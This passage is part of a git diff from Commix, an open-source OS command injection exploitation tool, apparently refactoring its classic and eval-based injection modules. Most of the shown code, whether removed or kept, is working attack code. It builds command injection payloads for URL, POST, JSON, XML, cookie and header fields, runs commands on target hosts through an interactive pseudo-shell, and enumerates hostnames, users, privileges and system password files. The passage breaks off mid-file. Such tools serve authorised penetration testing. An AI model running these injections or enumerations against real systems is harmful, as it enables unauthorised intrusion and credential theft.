settings.JUNK_COMBINATION: - prefix = "" - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alter shell - alter_shell = menu.options.alter_shell - - try: - if alter_shell: - # Classic -alter shell- decision payload (check if host is vulnerable). - payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) - else: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.decision(separator, TAG, randv1, randv2) - - # Define prefixes & suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = cb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = cb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = cb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom http header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if target host is vulnerable. - response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) - - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - - # Evaluate test results. - time.sleep(timesec) - shell = cb_injector.injection_test_results(response, TAG, randvcalc) - if settings.VERBOSITY_LEVEL == 0: - percent, float_percent = checks.percentage_calculation(i, total) - percent = checks.print_percentage(float_percent, no_result, shell) - checks.injection_process(injection_type, technique, percent) - - except (KeyboardInterrupt, SystemExit): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - except: - continue - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - # Check for any enumeration options. - cb_enumeration.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check for any system file access options. - cb_file_access.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check if defined single cmd. - if menu.options.os_cmd: - cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True : - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - # Command execution results. - time.sleep(timesec) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Evaluate injection results. - try: - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - continue - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell or shell != "": - shell = unescape(shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(gotshell) - pass - - except (KeyboardInterrupt, SystemExit): - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - else: - settings.print_data_to_stdout(settings.END_LINE.CR) - + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - if cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False: - return False + return cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) # eof diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index ab5f94b3c1..11a2f297e4 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -12,300 +12,29 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import json -import string -import random -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import html_parser as _html_parser -from src.utils import menu -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.results_based.techniques.classic import cb_payloads -try: - import html - unescape = html.unescape -except: # Python 2 - unescape = _html_parser.HTMLParser().unescape -""" -The "classic" technique on result-based OS command injection. -""" +from src.core.injections.controller import injector """ -Check if target host is vulnerable. +The "classic" technique on result-based OS command injection. """ -def injection_test(payload, http_request_method, url): - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - if settings.SINGLE_WHITESPACE in payload: - payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Get the response of the request. - response = requests.get_request_response(request) - - return response, vuln_parameter """ Evaluate test results. """ -def injection_test_results(response, TAG, randvcalc): - if type(response) is bool and response != True or response is None: - return False - else: - # Check the execution results - html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) - # cleanup string / unescape html to string - html_data = _urllib.parse.unquote(html_data) - html_data = unescape(html_data) - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) - - if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + TAG + TAG, html_data) - else: - shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) - if len(shell) > 1: - shell = shell[0] - return shell - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) +def injection_test_results(response, TAG, randvcalc, technique): + return injector.injection_test_results(response, TAG, randvcalc, technique) """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - if alter_shell: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) - else: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.cmd_execution(separator, TAG, cmd) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - return response - - # Do the injection check - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = 0 - while not response: - if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = tries + 1 - else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + OUTPUT_TEXTFILE = "" + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ The command execution results. """ -def injection_results(response, TAG, cmd): - - false_result = False - try: - # Grab execution results - html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) - # cleanup string / unescape html to string - html_data = _urllib.parse.unquote(html_data) - html_data = unescape(html_data) - - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) - - for end_line in settings.END_LINES_LIST: - if end_line in html_data: - html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) - break - - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) - if not shell: - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) - if not shell: - return shell - try: - if TAG in shell: - shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) - # Clear junks - shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] - shell = [backslash.replace(r"\/","/") for backslash in shell] - except UnicodeDecodeError: - pass - if settings.TARGET_OS == settings.OS.WINDOWS: - if menu.options.alter_shell: - shell = [right_space.rstrip() for right_space in shell] - shell = [left_space.lstrip() for left_space in shell] - if "<<<<" in shell[0]: - false_result = True - else: - if shell[0] == "%i" : - false_result = True - - except AttributeError: - false_result = True - - if false_result: - shell = "" - - return shell +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + url = OUTPUT_TEXTFILE = timesec = "" + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py deleted file mode 100755 index 5b90517c13..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ /dev/null @@ -1,331 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import requests -from src.core.injections.results_based.techniques.eval_based import eb_injector - -""" -The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = cmd = checks.quoted_cmd(cmd) - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = eb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = eb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = eb_injector.injection_results(response, TAG, cmd) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = eb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.CURRENT_USER - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_CURRENT_USER - # cmd = cmd + settings.WIN_REPLACE_WHITESPACE - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = eb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - if not alter_shell: - cmd = cmd = checks.quoted_cmd(cmd) - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.EVAL_SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = eb_injector.injection_results(response, TAG, cmd) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = eb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell, filename) - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - checks.print_enumenation().ps_version_msg() - powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - checks.print_enumenation().current_user_msg() - current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.is_root or menu.options.is_admin: - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.users: - checks.print_enumenation().print_users_msg() - system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - -""" -Check stored session -""" -def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if 